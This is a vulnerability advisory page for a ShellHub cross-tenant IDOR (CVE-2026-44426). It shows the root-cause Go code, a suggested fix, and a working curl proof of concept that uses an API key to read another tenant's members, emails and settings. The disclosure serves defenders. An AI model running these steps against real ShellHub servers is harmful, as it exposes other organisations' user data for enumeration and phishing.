CVE-2026-44426
JSON

6.5medium

ShellHub: Cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check

Severity
6.5medium CVSS:3.1 by GitHub_M
Exploit likelihood
0.31% (higher than 25% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-vwx9-7qcf-gg7fGO-2026-5680

Description

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication. This vulnerability is fixed in 0.24.2.

Affected

Product or packageVersionsReported by
shellhub-io shellhub< 0.24.2CVE List
github.com/shellhub-io/shellhub (Go)before 0.24.2GitHub Advisory Database, Go Vulnerability Database
shellhub shellhubbefore 0.24.2NVD

All scores

GitHub_M6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
GitHub6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Classification

CWE-639

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

ShellHub is a centralized SSH gateway. Prior to 0.24.2, GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication. This vulnerability is fixed in 0.24.2.

GitHub Advisory Database

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

var uid string
if c.ID() != nil {
    uid = c.ID().ID
}

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
    return c.NoContent(http.StatusNotFound)
}

if uid != "" {                              // ⚠️ skipped when API Key is used
    if _, ok := ns.FindMember(uid); !ok {
        return c.NoContent(http.StatusForbidden)
    }
}

return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
  -H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
#                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    // nsadm.go GetNamespace
    if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
        return c.NoContent(http.StatusForbidden)
    }
    
Go Vulnerability Database

ShellHub has cross-tenant IDOR in GET /api/namespaces/:tenant via API Key bypasses membership check in github.com/shellhub-io/shellhub

NVD (es)

ShellHub es una pasarela SSH centralizada. Antes de la versión 0.24.2, GET /api/namespaces/:tenant devuelve el objeto de espacio de nombres completo - incluyendo la lista de miembros (IDs de usuario, correos electrónicos, roles), la configuración y el recuento de dispositivos - a cualquier llamador autenticado por una clave API, para cualquier inquilino, independientemente del alcance de inquilino de la propia clave API. El gestor omite condicionalmente la verificación de membresía cuando el ID de usuario (X-ID) está ausente, lo cual es exactamente el caso para la autenticación con clave API. Esta vulnerabilidad se corrige en la versión 0.24.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44426 changed 2026-05-14CVE Terms of Use
GitHub Advisory DatabaseGHSA-vwx9-7qcf-gg7f changed 2026-06-25CC-BY-4.0
Go Vulnerability DatabaseGO-2026-5680 changed 2026-06-25CC-BY-4.0
NVDCVE-2026-44426 changed 2026-11-11Public domain